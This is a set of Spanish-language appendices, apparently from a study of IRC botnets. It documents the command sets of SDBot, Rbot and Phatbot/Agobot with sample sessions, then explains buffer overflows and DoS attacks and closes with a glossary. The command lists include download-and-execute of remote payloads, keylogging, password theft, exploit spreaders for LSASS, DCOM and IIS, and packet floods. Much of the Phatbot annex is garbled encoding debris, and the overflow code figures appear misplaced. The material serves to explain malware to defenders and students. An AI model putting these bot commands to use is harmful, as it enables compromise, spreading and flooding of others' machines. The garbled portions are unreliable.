<[sd]> .id <sdbot> sdbot1

join j join <channel> [key]

Une el bot al canal especificado

<[sd]> .join #idlechat [in #idlechat...] * sdbot has joined the channel.

killthread k killthread

<thread #> [thread #] [...]

Elimina el hilo indicado

<[sd]> .killthread 4 <sdbot> thread(s) killed. <[sd]> .killthread 2 3 <sdbot> thread(s) killed.

log lg log

Reponde con una bitácora de conexiones y logins asi como con las fechas y horas.

<[sd]> .log <sdbot> [Sat Sep 22 11:58:12 2001] user [sd]([email protected]) logged in. <sdbot> [Sat Sep 22 11:57:54 2001] connected to irc.lcirc.net. <sdbot> [Sat Sep 22 11:57:53 2001] bot started.

login l login <password>

Te autoriza para el uso del bot si la contraseña es correcta

<[sd]> .login hehe <sdbot> password accepted.

logout lo logout Logout del bot <[sd]> .logout <sdbot> user [sd] logged



out.

mode m mode

[channel] <mode> [user]

Modo +o en un canal

<[sd]> .mode #sdbot +o [sd] [in #sdbot...] * sdbot sets mode +o [sd].

nick n nick <new nick> Cambia el nick.

<[sd]> .nick sdbot2 * sdbot is now known as sdbot2.

open o open <file> El bot abre un archivo o una direccion url.

<[sd]> .open c:\windows\clouds.bmp <sdbot> file opened.

part pt part <channel> Hace que el bot deje el canal especificado

<[sd]> .part #sdbot [in #sdbot...] * sdbot has left the channel.

prefix pf prefix <prefix> Cambia el prefijo del bot temporalmente

<Faust> .prefix ! <Faust> !s <sdbot> sdbot 0.4b ready. Up 0d 1h 31m.

privmsg pm privmsg

<nick/channel> <message>

Envia un mensaje al usuario o canal con el texto especificado .

<Faust> .privmsg Faust hello [in private query] <sdbot> hello

<[sd]> .privmsg #sdbot hello [in #sdbot] <sdbot> hello

quit q quit [message] Sale del servidor especificado

<[sd]> .quit * sdbot has quit (goodbye.).

raw r raw <text> Envia el texto especificado al servidor IRC

<[sd]> .raw QUIT :later! * sdbot has quit (later!)

reconnect r reconnect

Desconecta el bot del servidor y vuelva a conectarse con un nuevo nick e identificacion

<[sd]> .reconnect * sdbot has quit (connection reset by peer). * kdsfa has joined the channel.

remove rm remove Elimina completamente el bot del ordenador objetivo

<Faust> .remove <sdbot> removing bot... * sdbot has quit



(Connection reset by peer)

repeat rp repeat <# of

times> <command>

Ejecuta un comando un número determinado de veces

<[sd]> .repeat 3 .privmsg #sdbot hehe <sdbot> hehe <sdbot> hehe <sdbot> hehe

rndnick rn rndnick Cambia el nombre del bot a un nick aleatorio

<[sd]> .rndnick * sdbot is now known as dhjds.

status s status

Muestra información sobre el bot, incluido cuanto tiempo lleva ejecutándose.

<[sd]> .status <sdbot> sdbot 0.4b ready. Up 0d 4h 31m.

threads t threads Lista los hilos que está ejecutando el bot.

<[sd]> .threads <sdbot> -[thread list]- <sdbot> 0. main thread <sdbot> 1. udp (192.168.0.1) <sdbot> 2. redirect (12345- >irc.lcirc.net:6667) <sdbot> 3. spy (irc.dal.net)

clones/spies

c_action c_a

c_action <thread #>


Hace que el clone del hilo especificado realice una acción en el canal o usuario determinado.

<[sd]> .c_action 2 explodes. * clone explodes.

c_join c_j c_join <thread #> <channel>

[key]

Une al canal determinado el clon con el número hilo especificado.

<[sd]> .c_join 3 #idlechat [in #idlechat...] * clone2 has joined the channel.

c_mode c_m

c_mode <thread #> [channel]

<mode> [user]

El clone con el numero que queramos da modo operador +o en el canal especificado

<[sd]> .c_mode 2 #sdbot +o [sd] [in #sdbot...] * clone sets mode +o [sd].

c_nick c_n c_nick <thread #> <nick>

El clon de número especificado se une al canal que le digamos

<[sd]> .c_nick 2 clone3 * clone is now know as clone3.

c_part c_p c_join <thread #> <channel>

El clon de número de hilo especificado deja el canal que digamos

<[sd]> .c_part 3 #idlechat [in #idlechat...] * clone2 has left the channel.



c_privmsg c_pm

c_privmsg <thread #>


Manda un mensaje en el canal o al usuario a través el clon especificado

<[sd]> .c_privmsg 2 #sdbot hey! [in #sdbot...] <clone> hey!

c_quit c_q c_quit <thread #>

El clon especificado sale del servidor

<[sd]> .c_quit 2 * clone has quit (later.).

c_raw c_r c_raw <thread #> <text>

El clon especificado por el numero del hilo, escribe un comando RAW en el servidor IRC

<[sd]> .raw 2 QUIT :later! * clone2 has quit (later!)

clone c clone <server>

<port> <channel>

Hace que el bot cree un clon en el canal especificado del servidor especificado

<[sd]> .clone irc.lcirc.net 6667 #sdbot <sdbot> clone created on irc.lcirc.net:6667 in channel #sdbot

spy sp

spy <nick> <server> <port>

<channel>

Crea un espía en el canal del servidor especificado.

<[sd]> .spy spy1 irc.dal.net 6667 #sdbot <sdbot> spy created on irc.dal.net:6667, in channel #sdbot. <sdbot> [#sdbot]: spy1 has joined #sdbot.

download

download dl

download <url>

<destination> <action>

Hace al bot descargar el archivo que le especifiquemos en la url al destino que elijamos. Si la acción es 1 también se ejecutara, en caso contrario solo será salvado.

<[sd]> .download http:// www.host.net/file.exe c:\windows\devldr32.exe 1 <sdbot> downloading http:// www.host.net/file.exe... <sdbot> downloaded 79.3 kb to c:\windows\devldr32.exe @ 5.5 kb/sec. <sdbot> executed c:\windows\devldr32.exe.

update up update <url> <id>

El bot descargará el archivo especificado en la url y lo reemplazará por el bot actual si el id del actual es distinto que el nuevo.

<[sd]> .update http:// www.host.net/sdbot.exe sdbot2 <sdbot> downloading update from http://www.host.net/ sdbot.exe... <sdbot> downloaded 9.2 kb to c:\sdbot.exe @ 9.2 kb/sec. updating...



udp/ping

udp u

udp <host> <# of packets>

<packet size> <delay> [port]

El bot envia un número especificado de paquetes udp de un tamaño determinado a el host, con un retraso entre los paquetes de <delay> segundos . Si el puerto se especifica un puerto, lo envía a tal puerto, de lo contrario usará un puerto aleatorio

<[sd]> .udp 127.0.0.1 1000 4096 100 <sdbot> sending 1000 udp packets to: 127.0.0.1. packet size: 4096, delay: 100[ms].

ping p

ping <host> <# of pings>

<packet size> <timeout>

El bot envia un de pings a el host. espera un número de milisegundos antes de volver a enviar la serie.

<[sd]> .ping 127.0.0.1 1000 4096 100 <sdbot> sending 1000 pings to 127.0.0.1. packet size: 4096, timeout: 100[ms]

redirect

redirect rd

redirect <local port> <remote host> <remote

port>

Inicia una redirección de puertos. Todo lo que es enviado al puerto especificado será redirigiendo o al host remoto al puerto que le digamos

<[sd]> .redirect 12345 irc.lcirc.net 6667 <sdbot> redirect created on port 12345 to irc.lcirc.net:6667.

system info

sysinfo si sysinfo

El bot devuelve información sobre el sistema remoto, incluido el procesador, sistema operativo, RAM total y libre, tiempo que lleva corriendo, tipo de conexión y dirección IP.

<[sd]> .sysinfo <sdbot> cpu: 1400MHz. ram: 523744KB total, 376108KB free. os: Windows XP (5.1, build 2600). uptime: 4d 3h 11m. connection type: dial-up (MSN). IP Address: 63.219.180.69



Anexo B: Comandos de Rbot login * login password .logout * logout .who * who .getclip * getclip .currentip * currentip .rloginserver * " untested " .get * get filename.zip .redirect * redirect .update * update Http://Www.Website.Com/File.exe BotID. .download * download http://Website.Com/File.exe C:\File.exe 1 ( 1 = execute : 0 = don`t execute ) .execute * execute C:\file.exe .findfile * findfile file.exe C:\ .findfilestop * findfilestop .rename * rename botfilename.exe botfilename2.exe .mode * mode +i-x .version * version .gethost * " untested " .delay * " untested " .secure * secure .securestop * stopsecure .unsecure * unsecure .join * join #Channel .part * part #Channel .netinfo * netinfo .sysinfo * sysinfo .raw * raw #Channel +o plush .prefix * prefix $ .open * open File .server * server Irc.AnotherServer.Net .dns * dns host.name.net .addalias * addalias " untested " .privmsg * privmsg #Channel Hello / Nickname Fuck u .action * " untested " .cycle * " untested” .die * kill ur bot.exe " is will be back after the next restart .email * email mx3.hotmail.com [email protected] [email protected] Subject Msg .httpcon * httpcon .upload * upload .reconnect * reconnect .disconnect * disconnect .status * status .mirccmd * mirccmd " untested " .cmd * cmd " untested " .system reboot * restart bot victim machine .system shutdown * shutdown bot victim machine .system logoff * logoff bot victim machine .threads * list threads .killthread all * kill all threads .getcdkeys * get cdkeys .driveinfo * get drivers info .opencmd * opencmd " untested " .cmdstop * stopcmd " untested " .httpserver * httpserver C:\ or D:\ .httpstop * stop http server .tftpserver * " untested " .tftpstop * " untested " .crash * crash bot victim machine ( destroy all system ) .findpass * get bot victim passwords .nick * change bot nick .log * list bot log .clearlog * clear log list .procs * list all files running in bot victim P.c .procsstop * procsstop File.exe .killproc * killprocs File.exe .delete * delete C:\File.exe .list * list *.exe or *.zip or *.rar any extensions u want list from bot victim P.c .visit * visit http://www.website.com ( hiding ) .readfile * readfile C:\file.txt .psniff on * psniff on .psniff off * psniff off .remove * remove ( delete uor bot file from victim P.C )



ident on * enable ident server .ident off * disable ident server .keylog on * enable key loger .keylog off * disable key loger " Net Commands " .net start * " untested " .net stop * " untested " .net pause * " untested " .net continue * " untested " .net delete * " untested " .net share * " untested " .net user * " untested " .net send * " untested " .capture video * " untested " .capture screen * " untested " .capture drivers * " untested " .capture frame * " untested " " Clone Commands " ====================================== .clone irc.server.net:6667 #Channel " untested " .c_join " untested " .c_part " untested " .C_raw " untested " .c_mode " untested " .c_nick " untested " .c_privmsg " untested " .c_notice " untested " .c_rndnick " untested " .clonestop " untested " .c_quit " untested " ====================================== " Exploit Scanner Commands " ==========================

-r = random range scanner from the " Bot Ip " Ex: " the bot connect from ip ( 62.150.15.15 ) the -r scanning from 62.150.0.0 to 62.150.255.255 but in random method

-b = same -r but in Sequential method from 62.150.0.0 to 62.150.255.255

-a = long range scanner from first range of bot ip Ex: 62.0.0.0 to 62.255.255.255

-s = silent u can used with all Bot Commands, no reply msg from the bots

x = ip range ex: 0 to 255

u can scan fot ip range u choiced Ex: advscan lsass 100 5 999 62.150.x.x -r

100 = scanner threads

5 = delay in sec

999 = time of scanner



" Exploit Spreader Commands "

.advscan lsass 100 5 999 -r * Lsass Exploit Spreader Using Port 445 .advscan iis5ssl 100 5 999 -b * IIS 5 SSL Exploit Spreader Using Port 443 .advscan dcom135 100 5 999 -a * Dcom Exploit Spreader Using Port 135 .advscan dcom445 100 5 999 -r -s * Dcom Exploit Spreader Using Port 445 .advscan dcom1025 100 5 999 -b -s * Dcom Exploit Spreader Using Port 1025 ( is shit ) .advscan dcom2-135 100 5 999 -a -s * Dcom2 Exploit Spreader Using Port 135 .advscan dcom2-445 100 5 999 -r * Dcom2 Exploit Spreader Using Port 445 .advscan beagle1 100 5 999 -r * Bagle Exploit Spreader Using Port 2745 .advscan beagle2 100 5 999 -r * Bagle2 Exploit Spreader Using Port 2745 .advscan webdav 100 5 999 -r * WebDav Exploit Spreader Using Port 80 .advscan wkssvc 100 5 999 -r * Wks Exploit Spreader Using Port 135 .advscan wkssvc2 100 5 999 -r * Wks Exploit Spreader Using Port 445 .advscan dameware 100 5 999 -r * DameWare Exploit Spreader Using Port 6129 .advscan upnp 100 5 999 -r * UPNP Exploit Spreader Using Port 5000 .advscan mydoom 100 5 999 -r * MyDoom Exploit Spreader Using Port 3127 .advscan netbios 100 5 999 -r * NetBios Exploit Spreader Using Port 139 .advscan ntpass 100 5 999 -r * NB+NP Exploit Spreader Using Port 445 .advscan mssql 100 5 999 -r * MSSQL Exploit Spreader Using Port 1433 .scanstats * Get Scan Stats .scanstop * Stop Scanning ========================================== Trojan Spreader Scanner Commands .advscan optix 100 5 999 -r * Optix Trojan Spreader Using Port 3410 .advscan sub7 100 5 999 -r * Sub7 Trojan Spreader Using Port 27374 .advscan netdevil 100 5 999 -r * NetDevil Trojan Spreader Using Port 901 .advscan netdevil2 100 5 999 -r * NetDevil Trojan Spreader Using Port 903 ===========================================================

Attack Commands " UnTested " .icmpflood * icmpflood 62.150.15.15 99999 .synflood * synflood 62.150.15.15 1000 2000 .udpflood * udpflood Ip Number Size Delay .pingflood * pingflood Ip Number Size Delay .tcpflood * Ip Port r

r = random ? stop attacking commands .icmpstop .tcpstop .synstop .udpstop .pingstop



Anexo C : Comandos del bot Phatbot/agobot

��

��

��

��

�� !��

"��!��#$

��

��

��

��

��%!��%��& & ��'��!��(�� %!��%��%!��) &��'��!��(��

!��'�(� "��!��#$

��*�� *��

+��

��*��%��,��%��,��--��.��

��

��

��!��

��%��!�/��0��%��!�/�-��0��"#��$�

��0��"1�2�3�,�$��4��5��2 ��6��1��1,�1��

�

��!�* ��!�*��,��

�!��

7��*��!�*��8��,��

��!�*�9��90��

��:��!�6��!�*

��!�* ��!�*��,��

�!��

;��!�*��8��,��

��!�*�9��90��

��:��!�6��!�*



��

�*�� *�� <��!��

��*��5��=��*,��

��>��!/�*��(��#��

��*�� *�� >��*�� *��

��**��

��

�� !��8��

��?��:�/�"?��:�/$��4��

��5��2 �

�� ,�� 4��,��

��

��@11�&&�

��@11�&&�

��@11�&&��

��/�� /��6��

�A��/��:��1��,��B��!��

��/��/��

"C��/��/��$

��

��!��8��<��8�

��>71 14�D

��= ��=��=�� 7��=��

��=��%��1��

��#�=��#��%��1�

�� !��

��,��*��

��E0��/��

"C��E0��/��?��$

�� F��

��*��,��G��"4��E��1H�"7��6��$$



��

��I��G��

��!�G��

��>71 14�D�

"3��,��J��,��>71 14�D��

�,��$

��= ��= 3��*��=��

��=��=�K��#�=��#��KA��=��KA��#�=��#��*��

�

�� F��

��?��:�/�"?��:�/$��4��5��2 ��6��1��

�),�)�

��6��!� ��6��!�

��!��8��G��A��B��

��

��6��!��E��1&1 LK��E��2 �� D ��E� 111��:��(��=��E�1��),�M��/E�3?N<?:�4�<O+'P1�

!��E�7E�&11� ��

��*�� *�� :��B��

D��Q��B

��*��>�*�=��6��E�

@��D,�21�

��,�*,�� ,�*,�� :��

��6��&111Q��B

��,�*,��>�6��,��:��E�

@&2�=��

��G�� G�� F��

��G��,��G��"4��E��1H�"7��6��$$

��!��,�� !��,�� ,�� !��,��

�� L��B��*��"?��6�

��$

�� :��

�� ,��*��3��!��

�� :��

��

FA��:6��"$

�� top

��

��

>��<47�

<User> .irc.disconnect <-- BoT has quit (Read error: 104 (Connection

reset by peer))



��*��

L��G��,�*��8��

<User> .irc.action #BoT "ddoses da bad guy"

* BoT ddoses da bad guy

��*�� *��<��!��

��

<User> .irc.getedu <BoT> connection type:

N/A (N/A). local IP address: 18.240.0.110.

connected from: XXXXXXXX.mit.edu

(more to follow...)

��*��,��*��,��,��

��

��!��

,��

<User> .irc.gethost tu- <BoT> connection type:


connected from: cXXXX.karlshof.wh.tu-

darmstadt.de (more to follow...)

��A��

��A��,��

��#��,��

F��!��

<User> .irc.join #Userbot4 AJuq4Js

(Victim joins #Userbot4) <User> .irc.part #Userbot4 (Victim leaves #Userbot4)

��

��<47�

<User> .irc.mode #wonk3d +o User

* D-dpgcyrb sets mode: +o User

��!�� !�� !��8��

<User> .irc.netinfo <BoT> connection type:


connected from: 66.236.189.19. private ip: no. speed: EU(390 kbit/s) US(279 kbit/s) ASIA(0 kbit/s) Total(223 kbit/s)

��*�

��*��*��/��

��

F��A��

<User> .irc.privmsg #BoT "bla"

<BoT> bla <User> .irc.privmsg User

"bla" *BoT* bla

��G�� G�� :��<47��

<User> .irc.quit <-- BoT has quit (Read error: 104 (Connection

reset by peer))



��#��#�

��*��

��<47�

<User> .irc.raw "QUIT :Bla"

<-- BoT has quit (Quit: Bla)

��

��

��

L��

<User> .irc.server some.ircd.org 6667

��

�� top

,�� ,��4��K��

,��#��

,��#��,��,��*��

��

>��*��,��

<User> .http.download www.microsoft.com /

%TEMP%\microsoft.html <BoT> Receiving file. <BoT> download to

C:\Temp\microsoft.html finished.

,��/��,��/��,��,��*��

>��*��6��A��,��

<User> .http.execute www.microsoft.com

/badvirus.exe %TEMP%\microsoft.exe

<BoT> Receiving file. <BoT> download to

C:\Temp\microsoft.exe finished.

<BoT> opened C:\Temp\microsoft.exe.

,��,��

�,��,��*��

F��*��,��6��

��8��

<User> .http.update www.microsoft.com

/badvirus.exe %TEMP%\microsoft.exe

Microsoft0r24 <BoT> Receiving file <BoT> download to

C:\Temp\microsoft.exe finished, updating....

!��#��

!��#��,��,��*��

��

>��*��,��!��

<User> .ftp.download billg password

ftp.microsoft.com / %TEMP%\microsoft.html

<BoT> Receiving file. <BoT> download to

C:\Temp\microsoft.html finished.

!��/��!��/��

��L��*��6��A��,��

<User> .ftp.execute billg password



�,��,��*��

��

��!�� www.microsoft.com /badvirus.exe

%TEMP%\microsoft.exe <BoT> Receiving file. <BoT> download to

C:\Temp\microsoft.exe finished.

<BoT> opened C:\Temp\microsoft.exe.

!��

!��,��,��*��

��

��*��6��K��

<User> .ftp.update billg password

www.microsoft.com /badvirus.exe

%TEMP%\microsoft.exe Microsoft0r24

<BoT> Receiving update <BoT> download to

C:\Temp\microsoft.exe finished, updating....

��

��

��!��

��!��*��

��1-��"��$��6�"��$�

�>(�!��

��6�!��

��6�!��,��6��1�-��

:N?�!��

��,��!��

��,��!��

��!��6��6�1�-��6�"�� H,$�

��-�*��*��

L��(�!��

�� >��

!��

��,��6��

��,��6��,��6��1�-��

(L3��6��!��



��,��,��,��6��

(L3��!��

��,��#��=��,��#��=��,��6��

(L3�5+?R�!��

E��

�� top

��

��,��

4��*��,��

<User> .redirect.tcp 2352 www.microsoft.com 80

<BoT> redirtcp: redirecting from port 2352

to "www.microsoft.com:80".

��*��

��*��

4��*��!��*��Q�(��/6��/��

((�(�C(?��

<User> .redirect.gre www.microsoft.com

User.bastart.net <BoT> redirgre: redirecting from

"www.microsoft.com" to "User.bastart.net" over "".

��,��,��

7��K��/6�,��!��

��,��,��

(��/6�L��

��=��=��

(��/6��=�H��

�� >��

<User> .redirect.stop

��

�� 4��

��,��#�� ,��#�� 3��*��

��*�!!� ��*�!!� >��*��



��

��

��(��E�H)H��

�0:6��4��0:6��2 0��/�� (��E�&& ��

�0SS07E05<?>+5:0�6��2 0#��*��/��2��(��E�&@)��

�7E05<?>+5:0�6��2 0��/�� "��!��#$

��=� ��=��!��

Mata un Proceso

��

��2��

��7E05<?>+5:0:6��2 0#��*��/��

�� ;��:6��:��SSSS�/��

��2��7E05<?>+5:0:6��2 0�/��/��

�� "��!��#$

��=�� =��

F��

��=�� =�� (<>

�� 3T��

�� F��

�� 3T��

�� F��

��

,��=�6� ,��=�6� ��=�6�

,�� ,�� 7��*��



,��,�� ,��,��

7��*��,��

,�� ,��

7��*��!��8��

��

,��*��6 ,��*��6

7��*��!��8��

��*��

,��#��#�=�6� ,��#��#�=�6�

L��*��!��8��*��

��

�*��!�� *��!��

FA��6��G��

�*��!�� *��!��

FA��6��G��

��*�� *�� 7��*��*�� "��6��$

��*�� *�� >��*��*�� "��6��$

��

��*� ��*��*��6�

3T��*��

��*� ��*��*��

F��*��

��*�� *��

��*��!��

��*�� *��=E�

� M��2�H)1� H��E�M1�� =E�

� M��211��)��E�@1



��*�� *��

��*��

��!��

��*�� *�� 4��*��

��

3��B��

��>7+

��

>��B��

��

3��8��6��K��B��

��

>��8��6��B��

��

��T��K��,��

��

��T��,��



Anexo D

Desbordamiento de búffer

En seguridad informática y programación, un desbordamiento de buffer (del inglés

buffer overflow o buffer overrun) es un error de software que se produce cuando se

copia una cantidad de datos sobre un área que no es lo suficientemente grande para

contenerlos, sobrescribiendo de esta manera otras zonas de memoria. Como

consecuencia, se producirá una excepción del acceso a memoria seguido de la

terminación del programa o, si se trata de un usuario obrando con malas intenciones, la

vulnerabilidad de la seguridad.

En algunas ocasiones eso puede suponer la posibilidad de alterar el flujo del programa

pudiendo hacer que éste realice operaciones no previstas. Esto es posible dado que en

las arquitecturas comunes de ordenadores, la memoria no tiene separación entre la

dedicada a datos y a programa.

Si el programa que tiene el error en cuestión tiene privilegios especiales se convierte

además en un fallo de seguridad. El código copiado especialmente preparado para

obtener los privilegios del programa atacado se llama shellcode.

Descripción técnica

Un desbordamiento de buffer ocurre cuando los datos que se escriben en un buffer

corrompen aquellos datos en direcciones de memoria adyacentes a los destinados para el

buffer, debido a una falta de validación de los datos de entrada. Esto se da comúnmente

al copiar cadenas de caracteres de un buffer a otro.

Ejemplo básico

En este ejemplo, un programa tiene definidos dos elementos de datos continuos en

memoria: un buffer de 8 bytes tipo string, A, y otro de dos bytes tipo entero, B. Al

comienzo, A contiene bytes nulos y B contiene el número 3 (cada carácter se representa

mediante un byte).



0 0 0 0 0 0 0 0 0 3

Buffer A Buffer B

A continuación, el programa intenta almacenar la cadena de caracteres "demasiado" en

el buffer A, seguido de bytes nulos para marcar el fin de string. Al no validarse la

longitud de la cadena, se sobrescribe el valor de B:

'd' 'e' 'm' 'a' 's' 'i' 'a' 'd' 'o' 0

Buffer A Buffer B

A pesar de que el programador no quería cambiar el contenido del buffer B, el valor de

éste ha sido reemplazado por un número equivalente a parte de la cadena de caracteres.

Para este ejemplo, en un sistema big-endian que use ASCII, el carácter "e" seguido del

byte nulo equivale al número 25856.

Si B fuese la única variable aparte de A definida en el programa, la escritura de datos

que sobrepasen los límites de B generarían un error como segmentation fault,

concluyendo así el programa.

Código fuente de ejemplo

En el siguiente ejemplo se presenta un código fuente en C con un error de programación.

Una vez compilado, el programa generará un desbordamiento de buffer si se lo invoca

desde la línea de comandos con un argumento lo suficientemente grande, pues este

argumento se usa para llenar un buffer, sin validar previamente su longitud



Figura 1: Ejemplo desbordamiento de buffer

Strings de 9 caracteres o menos no provocarán desbordamiento de buffer. Por el

contrario, strings de 10 caracteres o más sí: esto siempre es incorrecto, aunque no

siempre resultará en un error del programa o segmentation fault.

Este programa puede rescribirse en forma más segura usando la función strncpy de la

siguiente manera:

/* overflow.c - demuestra un desbordamiento de buffer */ #include <stdio.h> #include <string.h> int main(int argc, char *argv[]) { char buffer[10]; if (argc < 2) { fprintf(stderr, "MODO DE USO: %s string\n", argv[0]); return 1; } strcpy(buffer, argv[1]); return 0;}



Figura 2: Resolviendo el problema

Historia de abusos

El uno de los primeros aprovechamientos de los que hay registro de desbordamiento de

búfers fue en 1988. Fue uno de los muchos que usó el gusano Morris para propagarse en

Internet. El programa abusado fue un servicio de Unix llamado fingerd.

Más tarde, en 1995, Thomas Lopatic redescubrió en forma independiente el

desbordamiento de búfer y publicó sus descubrimientos en la lista de correo sobre

seguridad Bugtraq.Un año después, en 1996, Elias Levy (conocido también como Aleph

One) publicó en la revista Phrack su artículo "Smashing the Stack for Fun and Profit",

una introducción paso a paso para aprovecharse de vulnerabilidades de desbordamientos

de búfer basados en el stack.

Desde entonces, por lo menos dos de los gusanos más importantes de Internet se han

aprovechado de los desbordamientos de búfer para comprometer un gran número de

sistemas. En 2001, el gusano Code Red se aprovechó de un desbordamiento de búfer en

el Internet Information Services (IIS) 5.0 de Microsoft y en 2003 el gusano SQL

Slammer comprometió máquinas corriendo Microsoft SQL Server 2000.

/* mejor.c - demuestra un método de resolver el problema */ #include <stdio.h> #include <string.h> int main(int argc, char *argv[]) { char buffer[10]; if (argc < 2) { fprintf(stderr, "MODO DE USO: %s string\n", argv[0]); return 1; } strncpy(buffer, argv[1], sizeof(buffer)); buffer[sizeof(buffer) - 1] = '\0'; return 0; }



Anexo E

Ataque de denegación de servicio

En seguridad informática, un ataque de denegación de servicio, también llamado

ataque DoS (de las siglas en inglés Denial of Service), es un ataque a un sistema de

ordenadores o red que causa que un servicio o recurso sea inaccesible a los usuarios

legítimos. Normalmente provoca la pérdida de la conectividad de la red por el consumo

del ancho de banda de la red de la víctima o sobrecarga de los recursos computacionales

del sistema de la víctima.

Se genera mediante la saturación de los puertos con flujo de información, haciendo que

el servidor se sobrecargue y no pueda seguir prestando servicios, por eso se le dice

"denegación", pues hace que el servidor no de abasto a la cantidad de usuarios. Esta

técnica es usada por los llamados crackers para dejar fuera de servicio a servidores

objetivo.

El llamado DDoS (siglas en inglés de Distributed Denial of Service, denegación de

servicio distribuida) es una ampliación del ataque DoS, se efectúa con la instalación de

varios agentes remotos en muchas computadoras que pueden estar localizadas en

diferentes puntos. El invasor consigue coordinar esos agentes para así, de forma masiva,

amplificar el volumen del flood o saturación de información, pudiendo darse casos de

un ataque de cientos o millares de computadoras dirigido a una máquina o red objetivo.

Esta técnica se ha revelado como una de las más eficaces y sencillas a la hora de

colapsar servidores, la tecnología distribuida ha ido sofisticándose hasta el punto de

otorgar poder de causar daños serios a personas con escaso conocimiento técnico.

En ocasiones, esta herramienta ha sido utilizada como un notable método para

comprobar la capacidad de tráfico que un ordenador puede soportar sin volverse

inestable y perjudicar los servicios que desempeña. Un administrador de redes puede así

conocer la capacidad real de cada máquina.



Métodos de ataque

Un ataque de "Denegación de servicio" previene el uso legítimo de los usuarios al usar

un servicio de red. El ataque se puede dar de muchas formas, como por ejemplo:

Inundación SYN (SYN Floods)

La inundación SYN envía un flujo de paquetes TCP/SYN, muchas veces con la

dirección de origen falsificada. Cada unos de los paquetes recibidos es tratado por el

destino como una petición de conexión, causando que el servidor intente establecer una

conexión al responder con un paquete TCP/SYN-ACK y esperando el paquete de

respuesta TCP/ACK (Parte del proceso de establecimiento de conexión TCP de 3 vías).

Sin embargo, debido a que la dirección de origen es falsa o la dirección IP real no ha

solicitado la conexión, nunca llega la respuesta. Estas conexiones a medias consumen

recursos en el servidor y limitan el número de conexiones que se pueden hacer,

reduciendo la disponibilidad del servidor para responder peticiones legítimas de

conexión.

Ataque LAND (LAND attack)

Un ataque LAND se realiza al enviar un paquete TCP/SYN falsificado con la dirección

del servidor objetivo como si fuera la dirección origen y la dirección destino a la vez.

Esto causa que el servidor se responda a sí mismo continuamente y al final falle.

Inundación ICMP (ICMP floods)

Es una técnica DoS que pretender agota el ancho de banda de la víctima. Consiste en

enviar de forma continuada un número elevado de paquetes ICMP echo request (ping)

de tamaño considerable a la víctima, de forma que esta ha de responder con paquetes

ICMP echo reply (pong) lo que supone una sobrecarga tanto en la red como en el

sistema de la víctima. Dependiendo de la relación entre capacidad de procesamiento de

la víctima y atacante, el grado de sobrecarga varía, es decir, si un atacante tiene una

capacidad mucho mayor, la víctima no puede manejar el tráfico generado.



Existe una variante denominada smurf que amplifica considerablemente los efectos de

un ataque ICMP. En el smurf el atacante dirige paquetes ICMP echo request a una

dirección IP de broadcast10.

Inundación UDP (UDP floods)

Básicamente este ataque consiste en generar grandes cantidades de paquetes UDP

contra la víctima elegida. Debido a la naturaleza sin conexión del protocolo UDP, este

tipo de ataques suele venir acompañado de IP spoofing6.

Es usual dirigir este ataque contra máquinas que ejecutan el servicio echo8 de forma que

se generan mensajes echo de un elevado tamaño



Anexo F: Diccionario de términos

API: Una API (del inglés Application Programming Interface - Interfaz de

Programación de Aplicaciones) es un conjunto de especificaciones de comunicación

entre componentes software. Representa un método para conseguir abstracción en la

programación, generalmente (aunque no necesariamente) entre los niveles o capas

inferiores y los superiores del software. Uno de los principales propósitos de una API

consiste en proporcionar un conjunto de funciones de uso general, por ejemplo, para

dibujar ventanas o iconos en la pantalla.

Bot: Se generaliza a programas sirvientes que realizan determinadas acciones a base de

comandos emitidos desde el controlador. El tipo de bot que estudiaremos aquí es el

denominado bot C&C (Command and Control, traducido: comando y control) cada vez

que nos refiramos de ahora en adelante al término bot, estaremos refiriéndonos

inequívocamente a este. Si nos tenemos que referir a otro tipo, lo indicaremos

explícitamente.

Botnet: Su nombre se generaliza a partir del 2003 y hace referencia a redes de equipos

comprometidos (bots) controlados desde un equipo central, empleando diversos

protocolos.

Bot herder o bot master: Es el “dueño” de la red de bots.

CERT (Computer Emergency Response Team): Equipo de Respuesta para Emergencias

Informáticas

Checksum: En español, suma de control. Es una comprobación que se hace para

verificar la integridad de un fichero. Como ejemplo, y para su correcto entendimiento,

diremos que junto con el fichero, normalmente se envía uno paralelo que contiene la

suma binaria de los bits del fichero transmitido. La verificación consiste en realizar la

suma de estos bits y compararlo con la suma ya realizada en el fichero paralelo. Si la

suma coincide entonces tenemos la seguridad de que esa transmisión se realizó de forma

correcta.



Cortafuegos: Herramienta de seguridad que proporciona un límite entre redes de

distinta confianza o nivel de seguridad mediante el uso de políticas de control de acceso

de nivel de red.

Ethereal: Es un analizador de protocolos utilizado para realizar análisis y solucionar

problemas en redes de comunicaciones para desarrollo de software y protocolos, y como

una herramienta didáctica para educación. Cuenta con todas las características estándar

de un analizador de protocolos.

La funcionalidad que provee es similar a la de tcpdump, pero añade una interfaz gráfica

y muchas opciones de organización y filtrado de información. Así, permite ver todo el

tráfico que pasa a través de una red (usualmente una red Ethernet, aunque es compatible

con algunas otras) estableciendo la configuración en modo promiscuo

Exploit: De to exploit, aprovechar. Código escrito con el fin de aprovechar un error de

programación para obtener diversos privilegios

caballos de Troya

Firewall: Véase cortafuegos.

Gusanos: Son programas que se replican a sí mismos de sistema a sistema sin utilizar

un archivo para hacerlo. En esto se diferencian de los virus, que necesitan extenderse

mediante un archivo infectado

Hacker: neologismo utilizado para referirse a un experto en varias o alguna rama

técnica relacionada con las tecnologías de la información y las telecomunicaciones:

programación, redes de computadoras, sistemas operativos, hardware de red/voz, etc.

HASH: En informática un hash o función resumen se refiere a una función o método

para generar claves o llaves que representen de manera unívoca a un documento,

registro, archivo, etc.

Log: Registro, historial.



Malware: La palabra malware proviene de una agrupación de las palabras (malicious

software). Existen muchísimos tipos de Malware, aunque algunos de los más comunes

son los virus, los gusanos, los troyanos, los programas de spyware/adware o incluso los

bots. Éstos programas tienen como objetivo recopilar información sobre un usuario, un

PC, etc., o con los peores fines también se utilizan para dañar o estropear el ordenador

(por ejemplo, usando un virus que elimine los archivos necesarios para el arranque del

sistema operativo).

Máquina zombie (drone): Con anterioridad al 2000 se solía usar este término para

definir una máquina comprometida usada para ataques de denegación de servicio

distribuida. En la actualidad podemos ampliar el término a máquina comprometida con

un bot bajo las órdenes del bot herder o bot master

Nick (alias): Se utiliza para identificar a la persona que está detrás de un ordenador,

identificando así a éstos más fácilmente que por su dirección IP, aunque en estos casos

normalmente se utiliza el anglicismo de Nick

Port knocking: es un mecanismo para abrir puertos externamente en un firewall

mediante una secuencia preestablecida de intentos de conexión a puertos que se

